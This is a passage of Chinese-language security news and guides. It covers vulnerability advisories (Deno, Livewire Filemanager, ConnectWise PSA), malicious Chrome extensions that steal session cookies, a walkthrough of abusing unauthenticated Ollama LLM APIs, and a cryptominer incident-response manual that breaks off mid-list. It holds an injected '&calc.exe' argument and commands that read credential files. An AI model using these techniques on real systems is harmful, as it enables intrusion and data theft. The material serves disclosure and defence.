“他也是第一位 ALS 患者和第一位无法说话的人接受该植入。他在周日的 X 帖子中写道:‘我正在用我的大脑输入这段话。这是我主要的交流方式。’”
“2020 年被诊断出 ALS 的史密斯在帖子中感谢了马斯克。”
Krungsri 的文章深入探讨了微芯片植入技术
Krungsri 的一篇关于微芯片植入的文章详细介绍了更多技术进展,包括出于医疗和大脑增强目的在人体植入芯片的各种突破(文章末尾还有很好的全球参考资料)。
越来越多的州开始立法保护民众免受芯片植入侵害
本月早些时候,GeekWire 发表文章称,华盛顿州正试图禁止雇主使用 “非人性化” 技术:
“华盛顿州立法机构提出的一项法案将禁止雇主要求或施压员工植入微芯片,立法者希望在这种做法成为问题之前就加以禁止。”
“众议院法案 2303 由众议员 Brianna Thomas(D-34)和 Lisa Parshley(D-22)预先提交。”
“该法案将禁止雇主以就业为条件要求、请求或强迫员工在体内植入微芯片,并禁止将皮下跟踪或识别技术用于工作场所管理或监控。”
正如我去年在博客中报道的那样,这一行动是在至少 13 个其他州已经禁止强制微芯片植入的基础上进一步扩展。
我从 2017 年开始就一直在报道芯片植入技术的发展
以下是我过去几年发表的相关文章:
2017 年:微芯片植入的下一步会走向哪里?
2018 年:我预测芯片植入可能成为下一个重大隐私争议
2022 年 1 月:芯片植入:机遇、担忧以及下一步可能是什么
2023 年 2 月:从进步到禁令:人类微芯片植入有多近?
2023 年 6 月:指甲芯片植入?西弗吉尼亚州的 CISO 看到了价值
2024 年 3 月:人类脑芯片植入:有益?安全?合乎伦理吗?
最后的思考
社会对 “在人体植入微芯片” 这一话题的看法仍然非常分歧。
对于医疗目的和治疗疾病,人们普遍支持。
对于仅仅为了增强大脑功能以与 AI 竞争(或实现人机混合),支持度较低。
对于公司可能试图强制员工植入芯片,州政府已经开始发出强烈保留意见,甚至出台禁令。
一个新引起我注意的领域是一份欧洲报告,该报告讨论了在 2030 年后的世界里,人们可能为了支付便利而植入芯片。
报告中的一段摘录:
“例如,超过一半(51%)的受访者表示,如果满足某些标准,他们会考虑使用植入手中的微芯片进行支付。细分来看:8% 的人表示如果隐私措施非常严密,他们会愿意使用;23% 的人表示如果被证明在医学上是安全的,他们会愿意;还有五分之一(20%)的人简单地说‘是的,他们愿意使用这种支付方式’。绝大多数(83%)的人认为植入微芯片会让他们‘感觉像是在科幻电影里’,近一半(48%)的人认为如果他们没带现金或银行卡,这种芯片会很有用。然而,侵入性和安全问题仍然是主要担忧。”
这份报告让我感到担忧,原因有很多,而且它提出了我在之前文章中强调过的许多宗教和隐私问题 —— 即为了便利而在人体植入微芯片。(简单总结一下:社会上很多东西一开始是 “可选的” 或 “自愿加入的”,后来会变成 “默认加入,可选择退出”,最终可能变成 “所有人都必须接受”。)
最后,我留给你一个值得思考的问题:
我们现在使用的 “只需轻触即可支付” 的芯片信用卡,是否正在引领我们走向一个 “抛弃信用卡、直接植入芯片” 的世界?
出于无数原因,我真心希望不会。

以 “默认安全” 架构闻名的现代 JavaScript/TypeScript 运行时 Deno 近期曝出两个重大安全漏洞。这两个漏洞分别影响运行时的加密兼容性层Windows 平台的命令执行机制,可能导致敏感服务器密钥泄露,并允许攻击者执行任意代码。

CVE-2026-22863:高危密钥泄露漏洞(CVSS 9.2)

两个漏洞中最严重的是 CVE-2026-22863,CVSS 评分 9.2。该漏洞存在于 Deno 的 node:crypto 兼容层 —— 一个用于让 Deno 运行 Node.js 代码的模块。
根据安全公告,node:crypto 的实现没有正确终结(finalize)加密器(cipher)。在标准的加密流程中,final() 方法应结束加密过程并清理内部状态。然而在受影响的 Deno 版本中,该方法没有真正关闭 cipher,导致加密器处于 “可无限加密” 的异常状态。
这一缺陷的影响极为严重。报告指出,这种状态管理错误 “可能导致攻击者进行暴力破解,或发起更高级的攻击以窃取服务器密钥”。分析中提供的 PoC 显示,调用 cipher.final() 后返回的是一个仍处于激活状态的 Cipheriv 对象,其内部缓冲状态仍然可被访问,而非预期的已关闭 CipherBase

CVE-2026-22864:Windows 命令执行绕过(RCE)

第二个漏洞 CVE-2026-22864 影响 Deno 在 Windows 上启动子进程的能力。研究人员发现,这是一个 “对已修补漏洞的绕过”,涉及在执行批处理文件时使用 Deno.Command API
Deno 原本包含防止 shell 注入的安全机制。当用户尝试直接运行 .bat 文件时,Deno 会抛出 PermissionDenied 错误,并提示开发者 “使用 shell 执行 bat 或 cmd 文件”,以确保参数被安全处理。

然而研究人员找到了绕过方法:

通过修改文件扩展名的大小写(例如使用 .BAT)或操控传入命令的参数,攻击者可以绕过 Deno 的安全限制。报告中包含的 PoC 截图显示,一个脚本通过在批处理执行上下文里注入参数 ["&calc.exe"],成功执行了 Windows 计算器(calc.exe),从而在目标机器上实现任意代码执行

建议与修复

官方强烈建议用户立即升级到 Deno v2.6.0 或更高版本以修复这两个漏洞。

Livewire Filemanager(一个在 Laravel PHP 框架中广泛使用的文件管理工具)中被发现了一个严重的新安全漏洞,可能导致 Web 应用面临 ** 未授权远程代码执行(RCE)** 风险。该漏洞编号为 CVE-2025-14894,CVSS 评分为 7.5,表明其对使用该组件的开发者和企业构成重大威胁。
漏洞的核心在于文件管理器处理上传数据的方式。根据 CERT/CC 的安全公告,该组件没有对用户上传的文件进行充分校验
“LivewireFilemanager 的 Component.php… 没有执行文件类型和 MIME 验证,允许通过上传恶意 PHP 文件实现 RCE。”
在典型攻击场景中,威胁 actor 可以将恶意 PHP 脚本伪装成正常文件上传。由于应用没有验证文件类型,它会被接受。如果服务器配置为公开访问这些文件—— 特别是执行过常见的 php artisan storage:link 命令 —— 攻击者只需访问该文件的 URL 即可触发执行。
“这使得攻击者能够创建恶意 PHP 文件、上传到应用,然后强制应用执行它,从而在目标设备上实现未授权任意代码执行。”
该漏洞之所以特别危险,是因为它利用了 Laravel 环境中 “非常常见的部署步骤”。漏洞说明指出,虽然 Livewire Filemanager 的开发者认为文件验证 “不在其范围内”,属于用户的责任,但默认行为加上标准 Laravel 配置,就形成了一条直接的攻击路径。
成功利用该漏洞的后果非常严重。攻击者能够以 Web 服务器用户权限 执行任意代码。
“该漏洞允许未授权攻击者以 Web 服务器用户身份执行代码,从而能够完全读写该用户可访问的所有文件,并进一步横向移动、攻陷其他设备。”
截至公告发布时,官方尚未发布补丁。报告还指出工具开发者的回应令人担忧:“在撰写本文时,厂商尚未确认该漏洞。”
在正式修复发布之前,安全团队应立即采取防御措施。CERT/CC 建议管理员检查其应用是否公开提供存储文件访问。
“CERT/CC 建议谨慎使用 Laravel Filemanager,并检查是否曾执行过 php artisan storage:link 命令。如果已执行,应考虑移除该工具的 Web 访问能力。”

Socket 威胁研究团队揭露了一场针对企业环境的新型、高度复杂的攻击活动。五款伪装成生产力工具的恶意 Google Chrome 扩展被发现正在窃取身份验证令牌并劫持用户会话,目标涵盖 Workday、NetSuite、SAP SuccessFactors 等主流企业平台。
这些恶意扩展包括 DataByCloud Access、Data By Cloud 1、Data By Cloud 2、Tool Access 11 和 Software Access,累计安装量已超过 2,300 名用户。它们表面上承诺简化工作流程、提供 “高级工具”,实则用于渗透企业网络并削弱安全响应能力。
攻击者为恶意软件披上了专业、合法的外衣。这些扩展拥有精致的控制面板,并请求看似正常的权限,不会立即引起怀疑。
“这些扩展将自己伪装成生产力工具,声称能简化企业平台的访问流程…… 主要针对需要在多个账号间切换或追求更快工作流的用户。”
然而,在这层伪装之下,是一个协调一致的恶意软件运营。Socket 的分析显示,这些工具共享完全相同的代码结构、API 端点和安全工具检测列表,表明它们来自同一威胁 actor。

攻击链:三大恶意技术协同入侵

该攻击活动采用三种核心技术来攻陷账号并维持长期控制:

1. Cookie 窃取(Cookie Exfiltration)

这些扩展会持续收集会话令牌。例如,DataByCloud Access 会提取名为 _session 的 Cookie,并每隔 60 秒 将其发送到攻击者的 C2 服务器
“这确保即使用户在正常工作流程中登出并重新登录,威胁 actor 仍能保持对最新令牌的掌控。”

2. 会话劫持(Session Hijacking)

Software Access 扩展更进一步,实现了双向 Cookie 注入。它会从攻击者服务器获取被盗的凭证,并将其直接注入受害者浏览器,从而绕过多因素认证(MFA)
“Software Access 的双向 Cookie 注入完全绕过了身份验证要求,使攻击者无需密码即可访问被攻陷的账号。”

3. 阻断安全响应(Blocking Incident Response)

最阴险的功能是它们能够让安全团队 “失明”。例如 Data By Cloud 2Tool Access 11 会主动监控并阻止访问关键管理页面。
“这些阻断型扩展会造成‘遏制失效’场景。安全团队即使发现了可疑活动…… 但所有标准的补救措施都会被阻断。”
被阻断的页面包括:
  • 密码修改表单
  • 双因素认证设备管理
  • 安全审计日志
当管理员试图访问这些页面时,扩展会立即清空内容并进行重定向,使安全人员无法进入自己的管理界面。

反检测机制(Anti-Detection)

恶意软件作者还加入了多种反研究机制。部分变体使用 DisableDevtool 库阻止代码检查,并通过 “RegExp toString 篡改” 检测调试器是否处于激活状态。
“没有任何合法扩展会阻止用户查看自己的密码字段,也不会阻止开发者工具打开。这些功能的存在只有一个目的:隐藏恶意行为。”

影响与建议

通过攻陷员工日常使用的工具,攻击者可以绕过边界防护,直接访问敏感的 HR 与 ERP 数据。企业被建议立即:
  • 审查浏览器扩展策略
  • 调查是否安装了上述恶意插件
  • 限制员工随意安装扩展
  • 加强对会话令牌和 Cookie 的监控

ConnectWise 已为其 Professional Services Automation (PSA) 平台发布关键安全更新,修复了两个可能被攻击者利用的重要漏洞。这些漏洞影响 2026.1 之前的所有版本,并可能通过看似普通的 工时记录(Time Entry)备注 字段,导致恶意脚本执行和会话劫持。
本次安全修复中最受关注的是 CVE-2026-0695,这是一个 高危漏洞,基础评分 8.7。该漏洞被归类为 “网页生成过程中输入未正确过滤”(更常见的名称是 跨站脚本攻击,XSS),它将一个标准的数据输入字段变成了潜在的攻击入口。
根据安全公告,该漏洞源于 “工时记录备注处理” 中的一个特定条件。在未安装新版更新提供的正确输入过滤之前,恶意攻击者可以在工时记录中嵌入脚本。当合法用户(例如管理员或财务人员)在 PSA Web 客户端PSA 桌面应用 中查看该备注时,脚本就会执行。
这种 “存储型 XSS” 尤其危险,因为它会 “等待受害者上门”—— 只要高权限用户查看工时表,就可能被攻陷。
与 XSS 漏洞一同被修复的还有第二个漏洞 CVE-2026-0696,其目标是用户会话的完整性。该漏洞基础评分 6.5,属于 “敏感 Cookie 未设置 HttpOnly 标志”。
HttpOnly 是一项关键安全机制,用于防止客户端脚本访问 Cookie。由于未设置该标志,系统中的 “某些会话 Cookie” 可能被客户端代码读取。当与上述 XSS 漏洞结合时,就形成了一个强大的攻击链:攻击者可以注入脚本窃取这些可访问的会话 Cookie,从而可能劫持用户账户。
ConnectWise 将这些漏洞的严重性归类为 “重要(Important)”,并指出它们 “可能危及机密数据或其他资源”。
PSA 2026.1 版本明确 “更新了输入处理和会话 Cookie 配置,以解决这些问题”。
对于管理员来说,修复方式取决于部署模式:

云用户:

可以放心,ConnectWise 表示 “云实例正在自动更新到最新版本”。

本地部署用户:

必须立即行动。需要 “应用 2026.1 补丁,并确保所有桌面客户端已更新”,以关闭这些安全漏洞。

使用 ConnectWise PSA 的安全团队应立即检查版本号,确保已脱离 “2026.1 之前的版本”。

在针对 OpenAI 和微软的法律攻势中,埃隆・马斯克要求高达 1340 亿美元 的赔偿。然而与此同时,他自己的人工智能公司 xAI 却收到了加州总检察长罗布・邦塔(Rob Bonta)发出的 “停止并终止”(Cease and Desist)命令,要求其立即停止与聊天机器人 Grok 相关的非法活动 —— 据称 Grok 能够生成未经同意的深度伪造色情图像
马斯克与 OpenAI 之间的激烈对抗已达到新的顶点。据彭博社报道,最新诉讼指控 OpenAI 背叛了其最初的非营利使命。马斯克主张的赔偿金额介于 790 亿至 1340 亿美元 之间,依据是 OpenAI 与微软的合作带来了 “不当得利”。在法庭文件中,马斯克强调自己是 OpenAI 的关键早期捐赠者,曾提供 3800 万美元种子资金—— 约占该非营利组织初始资金的 60%。他还指出,自己在 OpenAI 成立初期付出了大量努力,包括招募核心人才并提供战略指导。
这一巨额赔偿数字由金融经济学家 C. Paul Wazzan 计算得出。他估计 OpenAI 的 “不当收益” 在 655 亿至 1094.3 亿美元 之间,而微软从中获得的收益约为 133 亿至 250.6 亿美元。鉴于 OpenAI 当前估值高达 5000 亿美元,马斯克认为,作为其最重要的早期资助者,他有权获得其增值的相当一部分。
就在马斯克追讨这些巨额款项的同时,xAI 在加州面临严峻的监管压力。经过快速调查,邦塔总检察长发布正式命令,要求 xAI 立即停止生成未经同意的露骨图像。争议焦点集中在 Grok 的图像生成功能 —— 据称用户只需一个提示词,就能让 Grok“脱衣” 真实人物(包括未成年人)或为其添加暴露服饰。邦塔指控 xAI 开发了 “辣模式(Spicy Mode)”,专门用于生成露骨内容,并将其作为一种营销策略。加州司法部严厉要求 xAI 停止 “协助或教唆” 制作和传播非自愿数字色情内容,并指出其涉嫌违反加州多项民事和刑事法规。尽管 X(前身为 Twitter)随后将 Grok 的图像生成功能设为付费墙后方,并在部分地区屏蔽了相关功能,但加州司法部仍要求 xAI 在 5 天内 提交正式的整改措施说明。
在针对 OpenAI 的诉讼中,马斯克似乎占据了道德高地,痛斥其前同事 “忘恩负义”,并指责他们放弃了 AI 安全和非营利承诺。然而,xAI 的运营却暴露出其安全护栏的严重缺失,使 Grok 成为深度伪造违法行为的温床。一边是马斯克利用法律系统追讨数十亿美元的 “不当得利”,另一边却是他自己的产品因标准宽松而遭到监管机构围剿。
这种鲜明反差揭示了马斯克理念中的深层矛盾:他渴望成为人类的 “AI 安全守护者”,但同时又希望利用 AI 的混乱潜力来推动用户互动和增长。在法律与监管审查日益严格的时代,这种双重策略似乎越来越难以为继。

0x01 组件简介

近期由于Deepseek爆火,大部分企业和个人都开始部署AI。Ollama是一个本地私有化部署大语言模型(LLM,如DeepSeek等)的运行环境和平台,简化了大语言模型在本地的部署、运行和管理过程,具有简化部署、轻量级可扩展、API支持、跨平台等特点,在AI领域得到了较为广泛的应用。

fofa语法:app="Ollama"

0x02 漏洞描述

近日,Ollama存在安全漏洞,该漏洞源于默认未设置身份验证和访问控制功能,未经授权的攻击者可在远程条件下调用Ollama服务接口,执行包括但不限于敏感模型资产窃取、虚假信息投喂、模型计算资源滥用和拒绝服务、系统配置篡改和扩大利用等恶意操作。

0x03 影响版本

Ollama所有版本均受此漏洞影响。

0x04 漏洞验证

随机找一个靶机看看
出现Ollama is running,即证明存在未授权访问的漏洞

574X249/image.png

漏洞验证

通过查看Ollama api文档,Ollama提供了多个API 端点,用于执行不同的操作

详细情况查看:https://ollama.cadn.net.cn/api.html

/api/generate 用于生成文本或内容。通常用于基于给定的输入生成响应或输出,例如生成对话回复、文章等。
/api/chat 专门用于聊天交互。用户可以通过此端点与模型进行对话,模型会根据输入生成相应的回复。
/api/create 用于创建新的模型或资源。可能涉及初始化一个新的模型实例或配置。
/api/ps(或者tags) 用于管理或查看模型的标签。标签可以帮助用户对模型进行分类或标记,便于管理和查找。
/api/show 用于显示模型或资源的详细信息。用户可以获取模型的配置、状态或其他相关信息。
/api/copy  用于复制模型或资源。用户可以通过此端点创建一个现有模型的副本。
/api/delete 用于删除模型或资源。用户可以通过此端点移除不再需要的模型或数据。
/api/pull 用于从 Ollama 下载模型。用户可以通过此端点将模型从远程服务器拉取到本地环境中。
/api/push 用于将模型上传到 Ollama。用户可以通过此端点将本地模型推送到远程服务器。
/api/embeddings 用于生成文本的嵌入向量。嵌入向量是文本的数值表示,通常用于机器学习任务中的特征提取。
/api/version 用于获取 Ollama 的版本信息。用户可以通过此端点查询当前使用的 Ollama 版本。

漏洞利用

在未授权情况,可以通过访问/api/ps(使用GET请求即可) 获取目前搭建的所有模型信息。

1035X775/image.png

通过返回信息可以看到采用的是deepseek-r1模型,通过刚才我们知道的接口端点信息,我们可以调用/api/chat(使用POST请求)来完成聊天请求,消耗资源。

1825X819/image.png

通过引导deepseek回答问题的过程中也能造成一些信息的泄露

所以在未授权的情况下,其他的接口都是可以用的,危害极大,可以通过调用那些危险接口进行操作,可对模型进行创建或删除的操作

0x05 漏洞影响

通过以上过程,我们可以看到该漏洞危害极大,且该漏洞利用难度也极低,可以通过未授权对大模型进行操作

0x06 修复建议

  1. 限制公网访问:尽量避免直接将 Ollama 服务端口(默认 11434)暴露在公网。  

  2. 配置网络访问控制:通过云安全组、防火墙等手段限制对 Ollama 服务端口的访问来源。仅允许可信的源 IP 地址连接 11434 端口,阻止非授权 IP 的访问请求。 

0X07 参考链接

https://github.com/ollama/ollama/blob/main/docs/faq.md

0x08 免责声明

本文所涉及的任何技术、信息或工具,仅供学习和参考之用。

请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。

作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

挖矿病毒应急响应处置手册

0x00 概述

通常来说,当我们的服务器或PC资源(CPU)使用率接近或超过100%,并持续高居不下导致服务器或PC操作延缓,我们就可以判定被挖矿。

常见挖矿其它特征如下:

  • 服务器或PC访问过不受信任的地址,这些地址包括:主机、IP、域名。这是由于大部分挖矿都需要从一个不受信任的地址下载初始化程序,而不受信任的来源主要是:第三方情报结构,企业内部历史数据沉淀。

  • 服务器或PC新增异常或恶意文件、进程或服务,并且大部分异常文件保存在服务器或PC的TMP目录中。

  • 服务器或PC的定时任务发生变更。

0x01 了解基本情况

1.1 如何发现

挖矿木马显著的行为特征就是极大的占用CPU及GPU和硬盘资源主要包括:高CPU和GPU、硬盘使用率、响应速度慢、崩溃或频繁重新启动、系统过热、异常网络活动(例如,连接挖矿相关的网站或IP地址)。其次是在网络流量中,挖矿木马通信过程采用专门的通信协议,因此存在一定的网络通信特征,因为要连接矿池,网络特征较多的都是TCP。

1.1.1 异常外联

  • 安全设备告警
  • 流量监控设备
  • 工作人员人工发现
  • ...

事件发生时的状况或安全设备告警等,能帮助应急处置人员快速分析确定事件类型,方便前期准备。

1.1.2 主机异常

  • CPU、GPU占用过高
  • 主机温度异常
  • 其他异常

可获取CPU占用过高进程信息

1.2 事件的时间节点

  • 出现事件时间
  • 发现事件时间
  • 处置事件时间

了解事件发生时间节点:出现事件时间、发现事件时间、处置事件时间,确定这三个时间节点后,可通过时间相关性推算挖矿病毒产生大致时间,有助于后续挖矿病毒发现及清理。

1.3 临时处置情况

了解挖矿病毒临时处置的情况,方便后期的排查

1.4 网络拓扑情况

获取网络构架,网络构架一般来讲是要拓补图,详细的拓扑图可以协助还原攻击流程时,准确定位网络连接方向。

0x02 判断是否属于挖矿

根据了解到的基本信息来判断和确认是否挖矿事件

2.1 属于挖矿

2.1.1 根据告警和流量信息初步判断挖矿类型

在不影响主业务运行的情况下,拔掉受害主机网线,并且切断网络连接可使挖矿现场尽量保持完整,有助于接下来的溯源工作顺利开展。

可以先根据告警和流量信息初步判断挖矿类型,在互联网收集相关情报,若有相关分析文章可提高事件处置效率。

2.1.2 windows

2.1.2.1 信息收集
  • CPU占用

打开 cmd 窗口,输入 resmon 命令,通过资源监视器,找出CPU占用过高的程序,找到PID和进程名。

image-20220221150219601

  • 网络连接

1、使用netstat -ano 命令查看目前的网络连接,定位可疑的 ESTABLISHED

2、根据 netstat 命令定位出的 PID 编号,再通过 tasklist 命令进行进程定位 tasklist | findstr "PID"

netstat -ano
tasklist | findstr "PID"

image-20220221144734582

  • 端口

查看Windows服务所对应的端口:%systemroot%/system32/drivers/etc/services

  • 可疑用户

【计算机管理】->【本地用户和组】->【用户】选项,可查看隐藏账户,名称以$结尾的为隐藏账户。

打开 cmd 窗口,输入 lusrmgr.msc 命令,查看是否有新增或可疑的账号。

image-20220221145754460

也可通过D盾查看系统中是否存在影子账户。

  • 计划任务

a、打开控制面板->任务计划,查看计划任务属性,排查异常任务计划。

b、打开 cmd 窗口,然后输入 at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。

  • 进程信息

a、Win+R,输入 msinfo32 命令,依次点击 "软件环境 -- 正在运行任务" 可以查看到进程的详细信息。

b、通过安全分析工具进行排查。

image-20220221150935484

  • 启动项

a、开始->所有程序->启动,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。
b、Win+R,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
c、Win+R,输入 regedit,打开注册表,查看开机启动项是否正常,检查是否有启动异常的项目。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

d、利用安全软件查看启动项、开机时间管理。

  • 服务

服务也是挖矿病毒常见的守护方式之一,将注册表中服务启动方式写为挖矿病毒主程序,从而达到守护进程目的。

Win+R,输入 services.msc,注意服务状态和启动类型,检查是否有异常服务。

image-20220221152259843

TIPS:除以上方法外还可使用火绒剑、Process Explorer等安全工具进行分析和信息收集。

2.1.2.2 定位

通过[2.1.2.1信息收集](#####2.1.2.1 信息收集) 定位到PID和进程后,再定位挖矿程序文件和目录。

查看进程对应的程序位置

方法1:打开任务管理器,选择对应进程,右键打开文件位置

image-20220221154832558

方法2:Win+R,输入 msinfo32 命令,软件环境->正在运行任务,即可定位到程序的目录信息。

image-20220221150935484

方法3:通过安全分析工具进行定位。

火绒剑->进程->右键进程信息 可直接定位到程序位置,且可查看其命令行参数。

image-20220221161343100

image-20220221161159901

火绒剑->网络 可直接定位到程序位置

image-20220221160838876

TIPS:对于打开文件位置还找不到挖矿文件的情况,则挖矿程序可能被隐藏,可通过配置文件夹选项或通过安全分析工具提取来解决

文件夹选项->查看->高级设置:取消隐藏受保护的操作系统文件、显示隐藏的文件、文件夹和驱动器。

image-20220221155929816

2.1.2.3 样本提取

一般在挖矿程序文件目录中可找到对应的配置文件和信息,通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。

若无相应配置文件,可通过云沙箱或专家对其进行深层次的分析。

[0x03 样本分析](#0x03 样本分析)

image-20220221161946994

image-20220221161856950

2.1.2.4 查杀根除
  • 双向封禁矿池地址

防止挖矿木马继续外连,并且防止挖矿木马进行内网传播。

  • 删除启动项
  • 删除计划任务

Windows:使用SchTasks /Delete /TN [任务名] 删除计划任务。
自启动项可以从以下三点入手:
a、开始->所有程序->【启动
b、系统配置中启动项(win+R->msconfig)
c、注册表查找病毒程序名。

  • 删除服务

Windows中删除服务可从任务管理器中手动删除

也可使用命令:sc stop [服务名称]

停止服务后,使用命令:sc delete [服务名称] 删除服务。

  • 杀死进程

可使用进程管理工具或使用taskkill -PID [进程PID] -F结束恶意进程。

  • 删除文件

Windows中删除时可能存在权限不足等情况,可使用360终端强杀,也可使用进程管理工具强制删除。

  • ...

2.1.3 linux

2.1.3.1 信息收集
  • CPU占用
  • 进程信息
top -c

-c 查看其完整的命令行参数

top默认的排序列是“%CPU”

image-20220221171332677

ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%cpu

按照CPU占用显示进程信息

image-20220221173411598

Tips:查看隐藏进程:

ps -ef |awk '{print}' | sort -n|uniq >111
ls /proc|sort -n |uniq >222
diff 111 222
  • 内存信息
top -c -o %MEM

image-20220221173859687

ps -eo pid,ppid,%mem,%cpu,cmd --sort=-%mem

按照内存占用显示进程信息

image-20220221173924470

  • 网络连接
  • 端口
netstat -pantl

-p 显示正在使用Socket的程序识别码和程序名称

-a 显示所有连线中的Socket

-n 直接使用IP地址,而不通过域名服务器

-t 显示TCP传输协议的连线状况

-l 显示监控中的服务器的Socket

image-20220222143038889

  • 计划任务

a、 crontab

# 列出某个用户cron服务的详细内容
crontab -l   
# 使用编辑器编辑当前的crontab文件 
crontab -e   

b、anacron

cat /etc/anacrontab
cat /var/spool/anacron/*

重点关注以下目录中是否存在恶意脚本

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*

image-20220222144137157

  • 服务

服务也是挖矿病毒常见的守护方式之一,将注册表中服务启动方式写为挖矿病毒主程序,从而达到守护进程目的。

查询已安装的服务

a、RPM 包安装的服务

# 查看服务自启动状态,可以看到所有的RPM包安装的服务
chkconfig  --list  
# 查看当前服务
ps aux | grep crond 

b、源码包安装的服务

检查/etc/rc.d/rc.local

  • 可疑用户

| 命令 | 命令详解 |
| -------------------------------------------------------- | -------------------------------------------------- |
| who | 查看当前登录用户(tty本地登陆 pts远程登录) |
| w | 查看系统信息,想知道某一时刻用户的行为 |
| last | 显示近期用户或终端的登录情况 |
| uptime | 查看登陆多久、多少用户,负载 |
| cat /etc/passwd | 查看用户信息文件 |
| cat /etc/shadow | 查看影子文件 |
| awk -F: '$3==0{print $1}' /etc/passwd | 查看管理员特权用户 |
| awk '/\$1|\$6/{print $1}' /etc/shadow | 查看可以远程登录的用户 |
| cat /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)" | 查看sudo权限的用户(有时攻击者会创建属于自己的用户) |
| cat /etc/passwd \|awk -F: 'length($2)==0 {print $1}' | 查看空口令账户(有时攻击者会将正常账户改为空口令) |

2.1.3.2 定位

通过[2.1.3.1信息收集](#####2.1.3.1 信息收集) 定位到PID和进程后,再定位挖矿程序文件和目录。

方法1:通过top -c命令,可以看到可疑进程的完整目录信息和参数,从而定位到挖矿文件及目录

image-20220222145155602

方法2:通过以下命令,定位到挖矿文件位置

lsof -p pid

image-20220222145556700

systemctl status pid`

image-20220222145707526

ls -al /proc/`pid`/exe

image-20220222153053710

2.1.3.4 样本提取

一般在挖矿程序文件目录中可找到对应的配置文件和信息,通过矿池地址和钱包地址能够进一步确认挖矿类型和挖矿程序的基本情况。

若无相应配置文件,可通过云沙箱或专家对其进行深层次的分析。

[0x03 样本分析](#0x03 样本分析)

image-20220222153152087

2.1.3.5 查杀根除
  • 双向封禁矿池地址

防止挖矿木马继续外连,并且防止挖矿木马进行内网传播。

  • 删除计划任务

crontab -e 删除对应的恶意计划任务

删除存在以下目录的恶意计划任务

/var/spool/cron/* 
/etc/crontab
/etc/cron.d/*
/etc/cron.daily/* 
/etc/cron.hourly/* 
/etc/cron.monthly/*
/etc/cron.weekly/
/etc/anacrontab
/var/spool/anacron/*
  • 删除启动项

删除/etc/rc.local与/etc/rc[0到6].d文件中恶意启动项

  • 删除服务

Linux中服务清除:sudo update-rc.d [服务名称] remove

  • 进程查杀

查看是否存在子进程

ps ajfx
systemctl status

若无子进程,直接kill -9 pid

若有子进程,使用kill -9 -pid 杀死进程组

  • 删除文件

查看文件占用

lsof `文件名`

image-20220222154208994

若在进程查杀后仍有文件占用,则该进程可能是恶意进程,需继续重复之前步骤再次排查。

无进程占用,直接使用rm命令删除恶意文件

rm -rf [恶意文件绝对路径]

Tips:

若出现 rm: cannot remove ‘文件名’: Operation not permitted. 错误,则攻击者可能给文件添加了 ai 的权限导致文件无法删除,可使用 lsattr 查看文件权限:

lsattr [文件名]

使用 chattr -i [文件名]chattr -a [文件名] 修改文件权限,再用 rm 命令删除:

chattr -i [文件名]
chattr -a [文件名]
rm -rf [文件名]

image-20220222155248847

2.2 其他事件处理流程

若非挖矿事件,按照其他事件处理流程处置。

0x03 样本分析

3.1 备份挖矿程序

对于发现的恶意文件和目录应及时备份,为后续分析做准备。

Tips: 对于同系统文件一定要打包后再备份,防止发生二次感染。

a、Linux:

  • 使用 scp 命令:
scp -P 22 user@127.0.0.1:/usr/local/target /home/aaa

其中:

  • -P 指定SSH端口

  • 从远程服务器将 target 文件下载到本地的 /home/aaa

  • 使用 Xshell、FinalShell、MobaXterm 等集成工具。

b、Windows:

  • 通过 RDP 3389 复制粘贴。
  • 使用向日葵、ToDesk 等远程工具。
  • 使用SMB共享服务传输。
  • ...

3.2 云沙箱分析

对可疑文件可先通过云沙箱在线分析,常用的云沙箱包括:

3.3 专家分析

对云沙箱无法分析或分析不全时,可请求安全专家进行分析。

0x04 溯源攻击

溯源攻击是挖矿病毒应急响应的重要环节,以下是常规溯源流程:

  1. 确定攻击入口:


    • 检查系统日志、安全设备日志(如防火墙、IDS/IPS等)。
    • 分析网络流量,定位可疑IP地址或域名。
    • 检查系统是否存在未修复的漏洞或弱密码。
  2. 分析攻击手法:


    • 通过样本分析确定挖矿病毒的类型和传播方式。
    • 检查是否有横向移动的痕迹,如内网扫描、横向传播等。
  3. 确定攻击者身份:


    • 通过IP地址、域名等线索,结合威胁情报,确定攻击者身份。
    • 分析攻击者的C2服务器,追踪其活动轨迹。
  4. 总结攻击过程:


    • 绘制攻击流程图,还原攻击者入侵路径。
    • 撰写溯源报告,记录攻击细节和处置过程。

0x05 附录

5.1 常见挖矿病毒类型

| 类型 | 特征 |
| -------------- | ------------------------------------------------------------ |
| XMRig | 使用CPU挖矿,常见于Linux系统,配置文件通常为 config.json。 |
| MinerGate | 支持多种加密货币,常见于Windows系统,会创建大量进程。 |
| Claymore | 主要用于以太坊挖矿,常见于GPU挖矿,会生成大量日志文件。 |
| 门罗币挖矿病毒 | 使用XMRig或类似工具,常见于Web服务器,通过Web漏洞传播。 |
| 蠕虫类挖矿病毒 | 具有横向传播能力,通过弱密码或漏洞在内网传播。 |

5.2 常见挖矿病毒传播方式

| 传播方式 | 描述 |
| ------------ | ---------------------------------------------- |
| 弱密码爆破 | 通过SSH、RDP等服务的弱密码进行传播。 |
| Web漏洞利用 | 通过Web应用漏洞(如Struts2、ThinkPHP等)传播。 |
| 恶意邮件 | 通过钓鱼邮件传播,附件中包含挖矿程序。 |
| 横向移动 | 通过内网扫描和漏洞利用,感染其他主机。 |
| 供应链攻击 | 通过第三方软件或更新包传播挖矿病毒。 |

5.3 加固建议

  1. 系统加固:


